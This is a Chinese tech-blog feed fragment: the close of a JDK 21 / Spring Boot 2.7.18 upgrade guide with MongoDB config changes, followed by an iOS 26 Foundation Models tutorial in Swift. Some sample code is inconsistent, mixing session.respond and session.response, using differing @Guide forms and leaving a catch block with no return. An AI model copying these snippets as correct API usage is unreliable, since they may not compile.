<table style="border-collapse: collapse; width: 100%;"><thead><tr><th style="border: 1px solid #ddd; padding: 6px; text-align: left; white-space: nowrap;">Spring Boot Version</th><th style="border: 1px solid #ddd; padding: 6px; text-align: left; white-space: nowrap;">JDK Version</th><th style="border: 1px solid #ddd; padding: 6px; text-align: left; white-space: nowrap;">来源</th></tr></thead><tbody><tr><td style="border: 1px solid #ddd; padding: 6px;">2.1</td><td style="border: 1px solid #ddd; padding: 6px;">8 – 12</td><td style="border: 1px solid #ddd; padding: 6px;"><a href="https://docs.spring.io/spring-boot/docs/2.1.x/reference/html/getting-started-system-requirements.html" target="_blank">https://docs.spring.io/spring-boot/docs/2.1.x/reference/html/getting-started-system-requirements.html</a></td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">2.2 – 2.3</td><td style="border: 1px solid #ddd; padding: 6px;">8 – 15</td><td style="border: 1px solid #ddd; padding: 6px;"><a href="https://docs.spring.io/spring-boot/docs/2.1.x/reference/html/getting-started-system-requirements.html" target="_blank">https://docs.spring.io/spring-boot/docs/2.1.x/reference/html/getting-started-system-requirements.html</a></td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">2.4</td><td style="border: 1px solid #ddd; padding: 6px;">8 – 16</td><td style="border: 1px solid #ddd; padding: 6px;"><a href="https://docs.spring.io/spring-boot/docs/2.4.x/reference/html/getting-started.html#getting-started-system-requirements" target="_blank">https://docs.spring.io/spring-boot/docs/2.4.x/reference/html/getting-started.html#getting-started-system-requirements</a></td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">2.5</td><td style="border: 1px solid #ddd; padding: 6px;">8 – 18</td><td style="border: 1px solid #ddd; padding: 6px;"><a href="https://docs.spring.io/spring-boot/docs/2.5.x/reference/html/getting-started.html#getting-started.system-requirements" target="_blank">https://docs.spring.io/spring-boot/docs/2.5.x/reference/html/getting-started.html#getting-started.system-requirements</a></td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">2.6</td><td style="border: 1px solid #ddd; padding: 6px;">8 – 19</td><td style="border: 1px solid #ddd; padding: 6px;"><a href="https://docs.spring.io/spring-boot/docs/2.6.x/reference/html/getting-started.html#getting-started.system-requirements" target="_blank">https://docs.spring.io/spring-boot/docs/2.6.x/reference/html/getting-started.html#getting-started.system-requirements</a></td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">2.7</td><td style="border: 1px solid #ddd; padding: 6px;">8 – 21</td><td style="border: 1px solid #ddd; padding: 6px;"><a href="https://docs.spring.io/spring-boot/docs/2.7.x/reference/html/getting-started.html#getting-started.system-requirements" target="_blank">https://docs.spring.io/spring-boot/docs/2.7.x/reference/html/getting-started.html#getting-started.system-requirements</a></td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">3.0</td><td style="border: 1px solid #ddd; padding: 6px;">17 – 21</td><td style="border: 1px solid #ddd; padding: 6px;"><a href="https://docs.spring.io/spring-boot/docs/3.0.x/reference/html/getting-started.html#getting-started.system-requirements" target="_blank">https://docs.spring.io/spring-boot/docs/3.0.x/reference/html/getting-started.html#getting-started.system-requirements</a></td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">3.1</td><td style="border: 1px solid #ddd; padding: 6px;">17 – 21</td><td style="border: 1px solid #ddd; padding: 6px;"><a href="https://docs.spring.io/spring-boot/docs/3.1.x/reference/html/getting-started.html#getting-started.system-requirements" target="_blank">https://docs.spring.io/spring-boot/docs/3.1.x/reference/html/getting-started.html#getting-started.system-requirements</a></td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">3.2</td><td style="border: 1px solid #ddd; padding: 6px;">17 – 23</td><td style="border: 1px solid #ddd; padding: 6px;"><a href="https://docs.spring.io/spring-boot/docs/3.2.x/reference/html/getting-started.html#getting-started.system-requirements" target="_blank">https://docs.spring.io/spring-boot/docs/3.2.x/reference/html/getting-started.html#getting-started.system-requirements</a></td></tr></tbody></table>  

<p>虽然Spring Boot 3.x 版本带来了许多激动人心的新特性，但其颠覆性的 javax.到 jakarta.命名空间迁移为项目带来了不可忽视的巨大挑战。从 Spring Boot 2.x 升级到 3.x 不仅仅是一次常规的版本升级，而是一次
伤筋动骨的底层 API 迁移。</p>

<h1 id=""> </h1>

<h5 id="">什么是命名空间变更？</h5>

<h1 id=""> </h1>

<p>由于 Java EE 规范的所有权从 Oracle 转移到了 Eclipse 基金会，其名称也变更为 Jakarta EE。这导致了所有相关 API 的 Java 包名从 javax.
 强制变更为 jakarta.
。例如：</p>

<ul>
<li><p>javax.servlet.http.HttpServletRequest -> jakarta.servlet.http.HttpServletRequest</p></li>
<li><p>javax.persistence.Entity -> jakarta.persistence.Entity</p></li>
<li><p>javax.validation.constraints.NotNull -> jakarta.validation.constraints.NotNull</p></li>
</ul>

<h1 id=""> </h1>

<h5 id="">迁移成本巨大？</h5>

<h1 id=""> </h1>

<p>1、全局代码修改：这不仅仅是简单的“查找和替换”。项目中所有涉及到 Servlet API、JPA、Bean Validation 等规范的 import 语句都需要修改。对于一个成熟的大型项目，这涉及成百上千个文件的改动。 <br>
2、整个依赖生态系统的颠覆：这是最棘手的问题。不仅仅是我们的代码，我们所依赖的所有第三方库（如数据库驱动、消息队列客户端、缓存工具、安全框架、自定义 Starters 等）都必须提供与 Jakarta EE 兼容的新版本。 <br>
3、传递性依赖冲突：即使我们升级了直接依赖，这些依赖的传递性依赖（它们依赖的库）可能仍然停留在 javax 命名空间，这将导致灾难性的类路径冲突（ClassNotFoundException,NoClassDefFoundError），解决这些冲突非常耗时且痛苦。 <br>
4、潜在的“深水区” Bug：某些库可能声称兼容 Jakarta EE，但在边缘场景下存在未被发现的 Bug。这种因底层 API 变更引入的问题通常难以定位和修复。</p>

<h1 id=""> </h1>

<h5 id="">决策结论：</h5>

<h1 id=""> </h1>

<p>选择 Spring Boot 2.7.18 意味着我们可以
完全避免
这个高风险、高成本的迁移过程，将团队的宝贵时间和精力聚焦于业务功能的开发和交付上。</p>

<h1 id=""> </h1>

<h3 id="">四、依赖库版本</h3>

<h1 id=""> </h1>

<p>依赖库版本可通过如下链接进行获取：
<a href="https://docs.spring.io/spring-boot/docs/2.7.18/reference/htmlsingle/#appendix.dependency-versions">https://docs.spring.io/spring-boot/docs/2.7.18/reference/htmlsingle/#appendix.dependency-versions</a> <br>
<a href="https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-parent/2.7.18">https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-parent/2.7.18</a></p>

<table style="border-collapse: collapse; width: 100%;"><thead><tr><th style="border: 1px solid #ddd; padding: 6px; text-align: left;">依赖</th><th style="border: 1px solid #ddd; padding: 6px; text-align: left;">版本</th></tr></thead><tbody><tr><td style="border: 1px solid #ddd; padding: 6px;">org.springframework</td><td style="border: 1px solid #ddd; padding: 6px;">5.3.31</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">spring-data-redis</td><td style="border: 1px solid #ddd; padding: 6px;">2.7.18</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">spring-data-mongodb</td><td style="border: 1px solid #ddd; padding: 6px;">3.4.18</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">commons-lang3</td><td style="border: 1px solid #ddd; padding: 6px;">3.12.0</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">commons-collections</td><td style="border: 1px solid #ddd; padding: 6px;">3.2.2</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">commons-collections4</td><td style="border: 1px solid #ddd; padding: 6px;">4.4</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">jstl</td><td style="border: 1px solid #ddd; padding: 6px;">1.2</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">guava</td><td style="border: 1px solid #ddd; padding: 6px;">32.1.3-jre</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">jackson-mapper-asl</td><td style="border: 1px solid #ddd; padding: 6px;">1.9.8</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">jackson-core</td><td style="border: 1px solid #ddd; padding: 6px;">2.16.1</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">hibernate-validator</td><td style="border: 1px solid #ddd; padding: 6px;">6.2.5.Final</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">javax.el</td><td style="border: 1px solid #ddd; padding: 6px;">3.0.0</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">javax.validation</td><td style="border: 1px solid #ddd; padding: 6px;">2.0.1.Final</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">javax.xml.bind</td><td style="border: 1px solid #ddd; padding: 6px;">2.3.1</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">suishen.com.baidu.disconf</td><td style="border: 1px solid #ddd; padding: 6px;">2.6.38-SNAPSHOT</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">org.reflections</td><td style="border: 1px solid #ddd; padding: 6px;">0.9.11</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">lombok</td><td style="border: 1px solid #ddd; padding: 6px;">1.18.30</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">org.jetbrains</td><td style="border: 1px solid #ddd; padding: 6px;">24.0.1</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">suishen-libs</td><td style="border: 1px solid #ddd; padding: 6px;">3.0.0-jdk21-SNAPSHOT</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">suishen-redis</td><td style="border: 1px solid #ddd; padding: 6px;">3.0.0-jdk21-SNAPSHOT</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">suishen-webx-parent</td><td style="border: 1px solid #ddd; padding: 6px;">3.0-jdk21-SNAPSHOT</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">suishen-webx-core</td><td style="border: 1px solid #ddd; padding: 6px;">3.0-jdk21-SNAPSHOT</td></tr><tr><td style="border: 1px solid #ddd; padding: 6px;">suishen-root-pom</td><td style="border: 1px solid #ddd; padding: 6px;">3.0-jdk21-SNAPSHOT</td></tr></tbody></table>

<h3 id="">五、升级步骤</h3>

<h4 id="">开发工具准备：</h4>

<ul>
<li>idea升级到2025.2版本</li>
<li>maven使用3.6.1版本</li>
<li>tomcat 8或9</li>
</ul>

<h6 id="1pom">步骤1、pom文件修改</h6>

<p>（1）升级suishen-webx-parent版本</p>

<pre><code>    &lt;parent&gt;
        &lt;groupId&gt;suishen-webx&lt;/groupId&gt;
        &lt;artifactId&gt;suishen-webx-parent&lt;/artifactId&gt;
        &lt;version&gt;3.0-jdk21-SNAPSHOT&lt;/version&gt;
    &lt;/parent&gt;
</code></pre>

<p>（2）完成后确认项目中的其他依赖库版本：</p>

<h6 id="2applicationcontextmongodbxml">步骤2、更改applicationContext-mongodb.xml配置</h6>

<p>（1）原配置：spring-data-mongodb 1.10.15.RELEASE</p>

<pre><code>!-- 定义mongo对象，对应的是mongodb官方jar包中的Mongo，replica-set设置集群副本的ip地址和端口，多个以英文逗号分割 --&gt;
    &lt;mongo:mongo-client id="mongoClient" replica-set="${mongo.hostport}" credentials="${mongo.username}:${mongo.password}@${mongo.dbname}"&gt;
        &lt;mongo:client-options
                connections-per-host="${mongo.connectionsPerHost}"
                threads-allowed-to-block-for-connection-multiplier="${mongo.threadsAllowedToBlockForConnectionMultiplier}"
                connect-timeout="${mongo.connectTimeout}"
                max-wait-time="${mongo.maxWaitTime}"
                socket-keep-alive="${mongo.socketKeepAlive}"
                socket-timeout="${mongo.socketTimeout}"/&gt;
    &lt;/mongo:mongo-client&gt;

    &lt;mongo:db-factory dbname="${mongo.dbname}" mongo-ref="mongoClient"/&gt;
</code></pre>

<p>（2）更改后配置
：spring-data-mongodb 3.4.18</p>

<pre><code> &lt;!-- 构建连接字符串，使用 SpEL 表达式对用户名和密码进行 URL 编码，避免特殊字符问题 --&gt;
    &lt;bean id="mongoConnectionString" class="com.mongodb.ConnectionString"&gt;
        &lt;constructor-arg value="#{'mongodb://' + T(java.net.URLEncoder).encode('${mongo.username}', 'UTF-8') + ':' + T(java.net.URLEncoder).encode('${mongo.password}', 'UTF-8') + '@${mongo.hostport}/${mongo.dbname}?authSource=${mongo.dbname}&amp;maxPoolSize=${mongo.connectionsPerHost:500}&amp;connectTimeoutMS=${mongo.connectTimeout:5000}&amp;socketTimeoutMS=${mongo.socketTimeout:10000}&amp;serverSelectionTimeoutMS=${mongo.maxWaitTime:5000}'}"/&gt;
    &lt;/bean&gt;

    &lt;!-- 创建 MongoClient --&gt;
    &lt;bean id="mongoClient" class="com.mongodb.client.MongoClients" factory-method="create"&gt;
        &lt;constructor-arg ref="mongoConnectionString"/&gt;
    &lt;/bean&gt;

    &lt;!-- 创建 MongoDatabaseFactory --&gt;
    &lt;bean id="mongoDbFactory" class="org.springframework.data.mongodb.core.SimpleMongoClientDatabaseFactory"&gt;
        &lt;constructor-arg ref="mongoClient"/&gt;
        &lt;constructor-arg value="${mongo.dbname}"/&gt;
    &lt;/bean&gt;
</code></pre>

<h6 id="3">步骤3、修改相关代码</h6>

<p>mongo排序</p>

<pre><code>修改前：new Sort(Sort.Direction.DESC, "startTime")

修改后：Sort.by(Sort.Direction.DESC, "startTime")
</code></pre>

<p>reids指令</p>

<pre><code>修改前：ZParams zParams = new ZParams().aggregate(ZParams.Aggregate.SUM).weightsByDouble(weightsDouble)

修改后：ZParams zParams = new ZParams().aggregate(ZParams.Aggregate.SUM).weights(weightsDouble)
</code></pre>

<h6 id="4eone">步骤4、eone流水线配置更改</h6>

<h1 id=""> </h1>

<p>基础环境：tomcat9_jdk21</p>

<h6 id="5">步骤5、发布观察日志</h6>

<ul>
<li>应用启动日志：检查是否有类加载错误、依赖冲突或配置问题</li>
<li>性能指标：监控 CPU、内存使用情况，观察 GC 日志，确认 ZGC/G1 运行正常</li>
<li>功能验证：全面回归测试核心业务功能，确保升级后功能正常</li>
<li>错误日志：密切关注应用错误日志，特别关注与 JDK 版本相关的异常</li>
<li>第三方服务调用：验证与外部服务（如数据库、Redis、消息队列等）的连接和交互是否正常</li>
</ul>

<h3 id="">六、总结</h3>

<p>本次 JDK 21 升级是一次重要的技术迭代，不仅解决了 JDK 11 安全支持终止的问题，更为团队带来了：</p>

<ul>
<li>长期技术支持：JDK 21 作为最新的 LTS 版本，将获得至少 8 年的安全更新支持</li>
<li>性能提升：虚拟线程、新一代 GC 等特性将显著提升应用的并发处理能力和响应速度</li>
<li>代码质量：Records、模式匹配等现代语法特性让代码更简洁、更安全、更易维护</li>
<li>技术竞争力：为未来采用 Spring Boot 3.x 等新技术栈奠定基础</li>
</ul>

<p>升级过程中虽然需要处理依赖版本调整和部分代码适配，但通过选择 Spring Boot 2.7.18，避免了 Jakarta EE 命名空间迁移的巨大成本，在获得 JDK 21 核心优势的同时，保持了升级路径的平稳可控。</p>

<p>建议在升级完成后，逐步探索和应用 JDK 21 的新特性（如虚拟线程），充分发挥新版本的技术优势，持续提升系统的性能和开发效率。</p>

<h3 id="">作者介绍：</h3>

<ul>
<li>孙景亮  资深服务端开发工程师</li>
</ul>]]></content:encoded></item><item><title><![CDATA[iOS 26 调用 Apple Intelligence 本地模型：Foundation Models 实践]]></title><description><![CDATA[<h3 id="">概述</h3>

<h1 id=""> </h1>

<p>Apple Intelligence的Foundation Models框架是在 WWDC 2025 正式发布的重要API，它让开发者能够直接调用运行在本地设备上的Apple Intelligence本地模型。Apple Intelligence本地的模型是一个 3B 参数的小模型，能够在保证隐私安全的前提下执行一些相对简单的信息摘要，提取，分类等相对简单的文本处理任务。</p>

<h5 id="">核心特性</h5>

<h1 id=""> </h1>

<ul>
<li>本地运行： 所有数据处理都在设备本地进行，保护用户隐私</li>
<li>离线可用 ：无需网络连接即可运行</li>
<li>Swift原生支持：完美集成Swift语言特性</li>
<li>多平台支持 ：支持iOS、iPadOS、macOS和visionOS</li>
</ul>

<h3 id="">一、环境准备</h3>

<h1 id=""> </h1>

<h5 id="">系统要求</h5>

<h1 id=""> </h1>

<p>iOS 26 或更高版本 <br>
Apple Intelligence 支持的设备 <br>
设备必须在设置中打开Apple Intelligence</p>

<h5 id="">导入框架</h5>

<pre><code>import FoundationModels  
</code></pre>

<h5 id="">检查模型可用性</h5>

<p>在创建会话之前，检查模型在当前设备和区域是否可用：</p>

<pre><code>import FoundationModels

// 检查模型可用性
if SystemLanguageModel.</code></pre>]]></description><link>https://tech.wekoi.cn/2025/11/07/ios-26-diao-yong-apple-intelligence-ben-di-mo-xing-foundation-models-shi-jian/</link><guid isPermaLink="false">419174fa-e770-499b-af90-c58f770770cf</guid><category><![CDATA[iOS]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Fri, 07 Nov 2025 05:48:04 GMT</pubDate><content:encoded><![CDATA[<h3 id="">概述</h3>

<h1 id=""> </h1>

<p>Apple Intelligence的Foundation Models框架是在 WWDC 2025 正式发布的重要API，它让开发者能够直接调用运行在本地设备上的Apple Intelligence本地模型。Apple Intelligence本地的模型是一个 3B 参数的小模型，能够在保证隐私安全的前提下执行一些相对简单的信息摘要，提取，分类等相对简单的文本处理任务。</p>

<h5 id="">核心特性</h5>

<h1 id=""> </h1>

<ul>
<li>本地运行： 所有数据处理都在设备本地进行，保护用户隐私</li>
<li>离线可用 ：无需网络连接即可运行</li>
<li>Swift原生支持：完美集成Swift语言特性</li>
<li>多平台支持 ：支持iOS、iPadOS、macOS和visionOS</li>
</ul>

<h3 id="">一、环境准备</h3>

<h1 id=""> </h1>

<h5 id="">系统要求</h5>

<h1 id=""> </h1>

<p>iOS 26 或更高版本 <br>
Apple Intelligence 支持的设备 <br>
设备必须在设置中打开Apple Intelligence</p>

<h5 id="">导入框架</h5>

<pre><code>import FoundationModels  
</code></pre>

<h5 id="">检查模型可用性</h5>

<p>在创建会话之前，检查模型在当前设备和区域是否可用：</p>

<pre><code>import FoundationModels

// 检查模型可用性
if SystemLanguageModel.default.availability == .available {  
    // 可以创建会话
    print("Foundation Models 可用")
} else {
    // 处理不可用情况
    print("Foundation Models 不可用")
}

// 检查模型支持的语言
let supportedLanguages = SystemLanguageModel.default.supportedLanguages  
guard supportedLanguages.contains(Locale.current.language) else {  
    // Show message
    return
}
</code></pre>

<h3 id="">二、基础使用</h3>

<h1 id=""> </h1>

<h5 id="">最简单的调用方式</h5>

<h1 id=""> </h1>

<p>使用 LanguageModelSession 初始化一个 session 并调用模型即可，同时初始化 session 时可以指定一些指令，使得模型能更准确的响应你的问题：</p>

<pre><code>import FoundationModels  
import Playgrounds

func respond(userInput: String) async throws -&gt; String {  
    let session = LanguageModelSession(instructions: """
    You are a professional tour guide.
    Respond to the tourist’s question.
    """
    )
    do {
            let response = try await session.respond(to: userInput)
            return response.content
    } catch LanguageModelSession.GenerationError.exceededContextWindowSize {
             // New session, with some history from the previous session.
        }
}
</code></pre>

<p>会话一次只能处理一个请求，如果在前一个请求完成之前再次调用它，则会导致运行时错误。检查 isResponding 在发送新请求之前验证会话是否完成了前一个请求的处理。</p>

<p>context window size上下文窗口大小限制了模型可以为会话实例处理多少数据，系统模型最多支持4096个Token。不同语言一个Token对应不同数的字符，例如中文一个Token对应一个字符。在单个会话中，指令、所有提示和所有输出中所有令牌的总和计入上下文窗口大小。 <br>
如果你的会话处理了大量超过上下文窗口的token，框架会抛出错误LanguageModelSession.GenerationError.exceededContextWindowSize（_:）。当您遇到错误时，请启动一个新的会话并尝试缩短提示。如果您需要处理单个上下文窗口限制无法容纳的大量数据，请将数据分成更小的块，在单独的会话中处理每个块，然后组合结果。另外，可以根据上一个会话的历史摘要，生成新的会话，保持会话上下文的连贯性。</p>

<p>其他 GenerationError 错误类型：</p>

<pre><code>// 表示会话所需的资产不可用的错误
case assetsUnavailable(LanguageModelSession.GenerationError.Context)  
// 表示会话未能从模型输出反序列化有效的可生成类型的错误
case decodingFailure(LanguageModelSession.GenerationError.Context)  
// 表示会话已达到其上下文窗口大小限制的错误
case exceededContextWindowSize(LanguageModelSession.GenerationError.Context)  
// 表明系统的安全护栏是由提示中的内容或模型生成的响应触发的
case guardrailViolation(LanguageModelSession.GenerationError.Context)  
// 表明您的会话已受到速率限制
case rateLimited(LanguageModelSession.GenerationError.Context)  
// 会话拒绝请求时发生的错误
case refusal(LanguageModelSession.GenerationError.Refusal, LanguageModelSession.GenerationError.Context)  
// 如果您试图使会话响应第二个提示，而它仍在响应第一个提示，则会发生错误
case concurrentRequests(LanguageModelSession.GenerationError.Context)  
// 使用了具有不受支持模式的生成指南
case unsupportedGuide(LanguageModelSession.GenerationError.Context)  
// 发生错误的上下文
struct Context  
// 语言模型产生的拒绝
struct Refusal  
</code></pre>

<h1 id=""> </h1>

<p>为了获得最佳的提示结果，可尝试不同的生成选项，影响模型的运行时参数：GenerationOptions</p>

<pre><code>// init(sampling: GenerationOptions.SamplingMode?, temperature: Double?, maximumResponseTokens: Int?)
// sampling：模型在生成响应时选择令牌的抽样策略，SamplingMode 一种定义如何从概率分布中采样值的类型
// temperature：影响模型响应的置信度
// maximumResponseTokens：模型在其响应中允许产生的令牌的最大数量
let options = GenerationOptions(temperature: 2.0)

let session = LanguageModelSession()

let prompt = "Write me a story about coffee."  
let response = try await session.respond(  
    to: prompt,
    options: options
)
</code></pre>

<h3 id="guidedgeneration">三、格式化输出(Guided Generation)</h3>

<h1 id=""> </h1>

<p>Foundation Models 框架的一个重要特性是能够确保模型输出特定格式的数据，而不是依赖不可靠的提示词。  </p>

<h1 id=""> </h1>

<h5 id="">定义输出格式</h5>

<h1 id=""> </h1>

<p>使用 @Generable 和 @Guide 宏来定义输出结构：</p>

<pre><code>import FoundationModels

@Generable
struct SearchSuggestions {  
    @Guide("搜索建议的景点名称")
    let name: String

    @Guide(description: "相关的搜索关键词列表 限制4个", .count(4))
    let keywords: [String]

    @Guide("搜索的分类，如：人文、自然、娱乐等")
    let category: String

    @Guide("建议的优先级，1-10的数字")
    let priority: Int
}
</code></pre>

<p>上面的代码中 @Generable 来修饰 SearchSuggestions 这个 struct 表示它是语言模型的一个输出格式类， 然后 @Guide 可以为每个属性做说明和格式限制。</p>

<p>然后在使用 session 调用模型的时候，把 SearchSuggestions 传进去即可：</p>

<pre><code> let prompt = """
    Generate a list of suggested search terms for an app about visiting famous landmarks.
    """

let response = try await session.respond(  
    to: prompt,
    generating: SearchSuggestions.self
)
let suggestions = response.content  
print("名称: \(suggestions.name)")  
print("关键词: \(suggestions.keywords.joined(separator: ", "))")  
print("分类: \(suggestions.category)")  
print("优先级: \(suggestions.priority)")  
</code></pre>

<p>模型输出的内容就直接是我们这个自定义的类 SearchSuggestions 了。</p>

<h1 id=""> </h1>

<h3 id="streaming">四、流式输出 (Streaming)</h3>

<h1 id=""> </h1>

<p>对于结构化的数据格式输出，比如JSON，一个个Token的输出，会产生语法解析问题。因此，我们当然是期望流式输出是按照一个 JSON 语法单位的形式生成，而且对于长时间的生成任务，使用流式输出可以提供更好的用户体验。</p>

<pre><code>// 为指定类型开启流式响应
let stream = session.streamResponse(  
    to: "prompt",
    generating: SearchSuggestions.self
)

for try await suggestions in stream {  
    print(suggestions)
}
</code></pre>

<h3 id="toolcalling">五、工具调用 (Tool Calling)</h3>

<h1 id=""> </h1>

<p>Foundation Models 支持工具调用功能，让模型能够调用应用程序的特定功能。我们把应用自身的一些功能函数告诉本地模型，由它来决定是否调用，以及什么时候调用。  </p>

<h1 id=""> </h1>

<h5 id="">定义工具</h5>

<h1 id=""> </h1>

<pre><code>import CoreLocation  
import WeatherKit

// 天气查询工具
struct GetWeatherTool: Tool {  
    let name = "GetWeather"
    let description = "获取指定城市的当前天气信息"

    @Generable
    struct Arguments {
        @Guide("要查询天气的城市名称")
        let city: String
    }

    func call(with arguments: Arguments) async throws -&gt; ToolOutput {
        // 使用Core Location将城市名转换为坐标
        let geocoder = CLGeocoder()
        let placemarks = try await geocoder.geocodeAddressString(arguments.city)

        guard let location = placemarks.first?.location else {
            return "无法找到城市：\(arguments.city)"
        }

        // 使用WeatherKit获取天气信息
        let weather = try await WeatherService.shared.weather(for: location)

        let temperature = weather.currentWeather.temperature.value
        let condition = weather.currentWeather.condition.description

        return ToolOutput("\(arguments.city)当前天气：\(condition)，温度：\(Int(temperature))°C")
    }
}

// 日历事件工具
struct CreateCalendarEventTool: Tool {  
    let name = "CreateCalendarEvent"
    let description = "创建新的日历事件"

    @Generable
    struct Arguments {
        @Guide("事件标题")
        let title: String

        @Guide("事件日期，格式：YYYY-MM-DD")
        let date: String

        @Guide("事件时间，格式：HH:MM")
        let time: String

        @Guide("事件描述（可选）")
        let description: String?
    }

    func call(with arguments: Arguments) async throws -&gt; ToolOutput {
        // 这里实现创建日历事件的逻辑
        // 实际应用中需要使用EventKit框架

        return ToolOutput("已创建事件：\(arguments.title)，时间：\(arguments.date) \(arguments.time)")
    }
}
</code></pre>

<p>上面代码创建了一个 GetWeatherTool和CreateCalendarEventTool， 其中GetWeatherTool用于获取指定城市的天气情况，CreateCalendarEventTool用于创建日历事件。 自定义工具需要继承Tool protocol。 其中有name和description属性， 用于给本地模型提供这个工具的名称，以及作用描述。 本地模型根据这个信息来确定它的功能，以及什么时候调用它。
Arguments用于定义这个Tool接收的所有参数，比如GetWeatherTool这里定义了一个city， 并且用@Guide标记了这个参数的说明，这样本地的语言模型就知道如何创建这个参数了。 <br>
接下来的call方法就是这个Tool的具体实现，通过给定的城市名称，调用CLGeocoder去解析成地理位置，然后调用苹果的WeatherService去获取天气信息并且返回。
现在Tool 创建好了，再来看看如何把它应用到模型中：</p>

<h1 id=""> </h1>

<h5 id="">使用工具</h5>

<h1 id=""> </h1>

<pre><code>class ToolEnabledService {  
    private var session: LanguageModelSession?

    func initializeSession() async throws {
        // 创建包含工具的会话
        session = try await LanguageModelSession(
            tools: [GetWeatherTool(), CreateCalendarEventTool()],
            instructions: """
            你是一个智能助手，可以帮助用户查询天气和创建日历事件。
            当用户询问天气时，使用GetWeather工具。
            当用户要创建提醒或安排日程时，使用CreateCalendarEvent工具。
            """
        )
    }

    func handleUserRequest(_ request: String) async throws -&gt; String {
        guard let session = session else {
            throw AIError.sessionNotInitialized
        }

        let response = try await session.response(to: request)
        return response.content
    }
}

// 使用示例
let toolService = ToolEnabledService()  
try await toolService.initializeSession()

// 查询天气
let weatherResponse = try await toolService.handleUserRequest("北京今天天气怎么样？")  
print(weatherResponse)

// 创建事件
let eventResponse = try await toolService.handleUserRequest("帮我在明天下午3点创建一个会议提醒")  
print(eventResponse)  
</code></pre>

<h3 id="">六、会话上下文记忆</h3>

<h1 id=""> </h1>

<h5 id="">上下文保持</h5>

<h1 id=""> </h1>

<p>在同一个 LanguageModelSession 中会自动保持对话的上下文：</p>

<pre><code>class ContextAwareService {  
    private var session: LanguageModelSession?

    func initializeSession() async throws {
        session = try await LanguageModelSession()
    }

    func continuousChat() async throws {
        guard let session = session else {
            throw AIError.sessionNotInitialized
        }

        // 第一轮对话
        let response1 = try await session.response(to: "请写一首关于鱼的俳句")
        print("AI: \(response1.content)")

        // 第二轮对话 - 模型会记住上下文
        let response2 = try await session.response(to: "现在写一首关于高尔夫的")
        print("AI: \(response2.content)") // 模型知道用户想要另一首俳句

        // 查看完整对话历史
        print("\n=== 对话历史 ===")
        for message in session.transcript {
            print("\(message.role): \(message.content)")
        }
    }
}
</code></pre>

<p>以上代码，由于模型会记住上下文，在第二轮对话的提示词中只说了关于高尔夫的，模型也知道提示词的隐含意思是要写一手关于高尔夫的俳句。</p>

<p>其中 session 还提供了一个 transcript 属性，通过它就能看到当前上下文中所有的信息。</p>

<h1 id=""> </h1>

<h3 id="usecaseadapters">七、专用适配器(Use Case Adapters)</h3>

<h1 id=""> </h1>

<p>Foundation Models 提供了针对特定用例优化的适配器：</p>

<h5 id="">内容标签适配器</h5>

<h1 id=""> </h1>

<pre><code>class ContentTaggingService {  
    private var session: LanguageModelSession?

    func initializeSession() async throws {
        // 使用内容标签适配器
        let model = SystemLanguageModel(useCase: .contentTagging)
        session = try await LanguageModelSession(model: model)
    }

    func tagContent(_ content: String) async throws -&gt; [String] {
        guard let session = session else {
            throw AIError.sessionNotInitialized
        }

        let prompt = "为以下内容生成标签：\(content)"
        let response = try await session.response(to: prompt)

        // 解析标签
        return response.content.components(separatedBy: ",").map { $0.trimmingCharacters(in: .whitespaces) }
    }

    func extractEntities(from text: String) async throws -&gt; [String] {
        guard let session = session else {
            throw AIError.sessionNotInitialized
        }

        let prompt = "从以下文本中提取实体：\(text)"
        let response = try await session.response(to: prompt)

        return response.content.components(separatedBy: "\n").filter { !$0.isEmpty }
    }
}
</code></pre>

<h3 id="">八、实际应用案例</h3>

<h1 id=""> </h1>

<h5 id="">智能笔记应用</h5>

<h1 id=""> </h1>

<pre><code>import FoundationModels

class IntelligentNotesApp {  
    private var session: LanguageModelSession?

    init() {
        Task {
            try await initializeAI()
        }
    }

    private func initializeAI() async throws {
        session = try await LanguageModelSession(
            tools: [SummarizeNotesTool(), ExtractKeywordsTool()],
            instructions: "你是一个智能笔记助手，可以帮助用户整理和分析笔记内容。"
        )
    }

    // 笔记摘要功能
    func summarizeNote(_ content: String) async throws -&gt; String {
        guard let session = session else { 
          throw AIServiceError.sessionNotInitialized 
        }

        let prompt = "请为以下笔记生成简洁的摘要：\(content)"
        let response = try await session.response(to: prompt)
        return response.content
    }

    // 关键词提取
    func extractKeywords(from content: String) async throws -&gt; [String] {
        guard let session = session else { throw AIServiceError.sessionNotInitialized }

        let prompt = "从以下内容中提取关键词：\(content)"
        let response = try await session.response(to: prompt)

        return response.content.components(separatedBy: ",")
            .map { $0.trimmingCharacters(in: .whitespaces) }
    }

    // 智能分类
    @Generable
    struct NoteCategory {
        @Guide("笔记的主要分类")
        let primaryCategory: String

        @Guide("次要分类标签")
        let tags: [String]

        @Guide("重要程度评分 1-10")
        let importance: Int
